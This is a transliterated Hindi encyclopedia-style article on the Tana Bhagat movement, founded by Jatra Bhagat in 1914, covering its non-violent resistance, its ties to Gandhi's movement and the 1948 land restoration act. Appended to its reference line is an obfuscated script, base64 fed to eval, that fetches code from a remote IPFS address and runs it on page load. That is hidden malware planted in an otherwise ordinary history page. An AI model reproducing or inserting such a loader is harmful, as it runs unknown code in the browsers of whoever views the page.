ताना भगत आन्दोलन
tana bhagat andolan ki shuruat varsh 1914 eean. mean bihar mean huee thi. yah andolan lagan ki ooanchi dar tatha chaukidari kar ke viruddh kiya gaya tha. is andolan ke pravartak 'jatara bhagat' the, jise kabhi birasa munda, kabhi jami to kabhi kesar baba ke samatuly hone ki bat kahi gayi hai. isake atirikt is andolan ke any netaoan mean balaram bhagat, gururakshitani bhagat adi ke nam pramukh the.
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andolan ki shuruat
'munda andolan' ki samapti ke qarib 13 varsh bad 'tana bhagat andolan' shuroo hua. yah aisa dharmik andolan tha, jisake rajanitik lakshy the. yah adivasi janata ko sangathit karane ke lie naye 'panth' ke nirman ka andolan tha. is mayane mean yah birasa munda andolan ka hi vistar tha. mukti-sangharsh ke kram mean birasa munda ne janajatiy panth ki sthapana ke lie samudayikata ke adarsh aur manadand nirdharit kiye the.[1]
adarsh tatha manadand
tana bhagat andolan mean un adarshoan aur manadandoan ke adhar par janajatiy panth ko sunishchit akar pradan kiya gaya. birasa ne sangharsh ke dauran shaantimay aur ahiansak tarike vikasit karane ke prayas kiye. tana bhagat andolan mean ahiansa ko sansharsh ke amogh astr ke roop mean svikar kiya gaya. birasa andolan ke tahat jharakhand mean british hukoomat ke khilaf sangharsh ka aisa svaroop vikasit hua, jisako kshetriyata ki sima mean baandha nahian ja sakata tha. is andolan ne sangathan ka dhaancha aur mool rananiti mean kshetriyata se mukt rah kar aisa akar grahan kiya ki vah mahatma gaandhi ke netritv mean jari azadi ke 'bharatiy rashtriy andolan' ka avibhajy aang ban gaya.
jatara bhagat ka yogadan
prapt aitihasik janakari ke anusar jatara bhagat, jo uraanv jati ke the, unake netritv mean is andolan ke lie jo sangathan naye panth ke roop mean vikasit hua, usamean qarib 26 hazar sadasy shamil the. vah bhi varsh 1914 ke daur mean. jatara bhagat ka janm vartaman gumala zile ke bishunapur prakhand ke chiangari gaanv mean 1888 mean hua tha. jatara bhagat ne 1914 mean adivasi samaj mean pashu bali, maans bhakshan, jiv hatya, sharab sevan adi durgunoan ko chho d kar satvik jivan yapan karane ka abhiyan chhe da. unhoanne bhoot-pret jaise aandhavishvasoan ke khilaf satvik evan nidar jivan ki nayi shaili ka sootrapat kiya. us shaili se shoshan aur anyay ke khilaf l dane ki nayi drishti adivasi samaj mean panapane lagi. tab andolan ka rajanitik lakshy spasht hone laga tha. satvik jivan ke lie ek naye panth par chalane vale hazaroan adivasi jaise samantoan, sahukaroan aur british hukoomat ke khilaf sangathit 'ahiansak sena' ke sadasy ho gaye.[1]
svadeshi andolan se ju dav
jatara bhagat ke netritv mean ailan hua ki "malaguzari nahian deange, begari nahian kareange aur kar nahian deange". isake sath hi jatara bhagat ka vidroh 'tana bhagat andolan' ke roop mean surkhiyoan mean a gaya. andolan ke mool charitr aur niti ko samajhane mean asamarth aangrez sarakar ne ghabarakar jatara bhagat ko 1914 mean giraphtar kar liya. unhean dedh sal ki saja di gayi. jel se chhootane ke bad jatara ka achanak dehaant ho gaya, lekin tana bhagat andolan apani ahiansak niti ke karan nirantar vikasit hote hue mahatma gaandhi ke 'svadeshi andolan' se ju d gaya. yah to kaangres ke itihas mean bhi darj hai ki 1922 mean kaangres ke gaya sammelan aur 1923 ke nagapur satyagrah mean b di sankhya mean tana bhagat shamil hue the. 1940 mean ramagadh kaangres mean tana bhagatoan ne mahatma gaandhi ko 400 rupaye ki thaili di thi.
tana bhagatoan ki shakhaean
kalaantar mean riti-rivajoan mean bhinnata ke karan tana bhagatoan ki kee shakhaean panap gayian. unaki pramukh shakha ko 'sada bhagat' kaha jata hai. isake atirikt 'bachhidan bhagat', 'karama bhagat', 'lodari bhagat', 'nava bhagat', 'narayan bhagat', 'gaurakshani bhagat' adi kee shakhaean haian.[1]
adhiniyam ka nirman
1948 mean bharat ki azad sarakar ne 'tana bhagat raiyat egrikalcharal laiand restoreshan ekt' parit kiya. yah adhiniyam apane ap mean british hukoomat ke khilaf tana bhagatoan ke andolan ki vyapakata aur unaki kurbani ka aeena tha. is adhiniyam mean 1913 se 1942 tak ki avadhi mean aangrez sarakar dvara tana bhagatoan ki nilam ki gayi jamin ko vapas dilane ka pravadhan kiya gaya tha.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 jharakhand ka itihas (hindi). . abhigaman tithi: 04 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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